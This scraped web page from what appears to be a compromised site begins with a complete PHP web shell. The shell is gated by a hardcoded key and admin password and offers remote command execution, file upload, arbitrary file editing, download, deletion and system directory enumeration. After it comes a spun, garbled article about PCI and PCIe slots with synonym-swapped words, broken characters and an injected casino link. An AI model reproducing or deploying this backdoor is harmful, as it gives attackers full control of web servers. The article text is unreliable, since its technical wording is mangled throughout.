if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[πŸ“‚ Home] '; echo '[πŸ–₯️ Terminal] '; echo '[πŸ’Ύ Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[πŸšͺ Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

βœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

πŸ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo 'πŸ“ '.$item."/\n";
                    else echo 'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'πŸ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

πŸ’Ύ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." βœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." βœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

πŸ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'βœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

πŸ–₯️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'βœ… Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'βœ… Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'βœ… Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'βœ… Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

πŸ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
πŸ“ '.$item.'πŸ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Here are a few your current equipment specifications and you may do a little look before you choose so you’re able to inform – collectives.berlin

Your digital paradise.

Here are a few your current equipment specifications and you may do a little look before you choose so you’re able to inform

You are able to tuner notes to let your computer or laptop to get traditional Tv indicators, however some notes has applications past video, together with Radio accessibility. When you are trading away an excellent malfunctioning component, you need to observe a primary change. Which have PCIe four.0, bandwidth capacity is actually 64 gigabytes for each and every next for a price out of 16 gigatransfers for every single 2nd (GT/s).

It’s very employed for shop controllers or other expansion notes (such as RAID controllers), but motherboards you to implement an actual PCIe x4 position is strange. Inside the machine and higher-results workstations having GPU accelerators or multiple NVMe SSDs, x8 ports are generally utilized. ItοΏ½s most often utilized for hooking up higher-overall performance picture cards. Motherboards has x1, x4, x8, and x16 PCIe slots, but x16 and you will x1 are most often implemented. Put another way, regardless of position shape, the newest PCIe fundamental are a connections basic that provide a comparable high-price data transfer.

It created that builders didn’t have to be concerned about spinning their application to understand and you will supply people gadgets making use of the PCI Share shuttle οΏ½ in principle, it could merely work. To that particular stop, designers produced the system backwards-suitable for PCI, although merely in terms of software. This means that, the true data speed is obviously down considering the additional parts you’ll need for encoding. So it rates is actually hit by applying low-voltage differential strobes (LVDS) οΏ½ a couple of signals, 180 amounts regarding phase, operating within a portion of the brand new voltage one PCI and AGP use.

In the long run, PCI configuration space brings access to 256 bytes off special arrangement data each PCI product. I/O contact try to possess being compatible to your Intel x86 architecture’s I/O vent target area. Particularly, a create have to apply to precisely the permitted bytes regarding the target PCI product. To ensure being compatible that have 32-portion PCI devices, itοΏ½s forbidden to utilize a twin target period if not needed, i.e. in case your highest-purchase address pieces all are zero. The new direction of one’s studies phase is generally of initiator in order to address (make transaction) or the other way around (discover transaction), but all of the study phases must be in the same recommendations. For each and every purchase consists of a message phase accompanied by one to or even more study levels.

In lieu of PCI, hence spends a discussed coach, PCIe now offers area-to-area contacts, significantly broadening data transfer pricing. PCI offered each Tahiti Casino other thirty two-piece and 64-portion data widths, providing extreme advancements more ISA regarding rate and you can results. Even if rare today, ISA slots are occasionally still included in industrial otherwise authoritative assistance requiring legacy support. The prolonged version, EISA (Expanded Community Fundamental Architecture), geared towards increasing results, given backwards being compatible that have ISA and you may was used generally within the host.

PCIe was a newer kind of position giving faster data transfer cost that is commonly used getting image notes and you may most other high-performance peripherals. Determining the kind of PCI position into the a computer is crucial for buying the best extension cards and you can guaranteeing compatibility into the system. PCIe (Peripheral Role Interconnect Show) is actually a newer sort of position that provides faster analysis transfer cost and is popular to own image notes or any other high-performance peripherals. Knowing the different types of PCI harbors in addition to their capabilities is important for distinguishing the proper extension cards having a computer and making certain being compatible on the program. The key purpose of a PCI slot will be to bring an effective cure for modify or develop good pc’s equipment without having to replace the entire system.

PCIe slots will let you put extension cards on your motherboard to incorporate extra possibilities towards Desktop. Like, in the significantly more than picture (just click it to be in a position to zoom inside), the big x16 PCIe position is both x16 long since the really because x16 electrically, definition it’ll run at the x16 PCIe bandwidth. Stay away from the essential difference between physical and electric PCIe position significance, even if. Mostly the single thing that uses x16 harbors outside of graphics cards is machine-stages network and stores equipment.

If a great pin try busted, unfortunately, you ought to change the slot

For more information on the fresh new particulars of PCIe four.0, below are a few PCIe Gen four against. Gen twenty-three Harbors, Speeds. But you aren’t bringing any abilities work with by using backwards and you will forward compatibility with PCIe. Chipmakers and board manufacturers are in reality applying the new generation to your the gear.

On the individual, all this will be translate into top tools efficiency because the new years are introduced

PCI ports are accustomed to connect a lot more methods parts particularly image notes, sound notes, and you will circle notes into the desktop. However, certain commercial, embedded, otherwise formal expertise may still explore PCI slots due to particular standards otherwise history being compatible things. PCIe slots are very the newest de- facto important to possess extension capabilities inside modern options, giving high rate, freedom, and you will compatibility. A good PCI slot is actually an association point on a personal computer’s motherboard that allows users to put in expansion notes, which offer most opportunities on the system. Particular motherboards get function a variety of PCIe and traditional PCI harbors, providing to history gizmos or possibilities that need in reverse compatibility. This is done to attenuate the general amount of pins to your the brand new PCI connector.

PCI slots differ for various motherboards, and you can see the motherboard to learn about its position info, just in case called for, up-date the new motherboard by itself. ItοΏ½s discovered for the outside resources areas. The new expansion slot is a kind of connector used because a great part where equipment parts can be installed.

Using a magnifying glass or microscope, take a look at for every pin inside slot. To check the hyperlink rates having HWiNFO64, release the applying.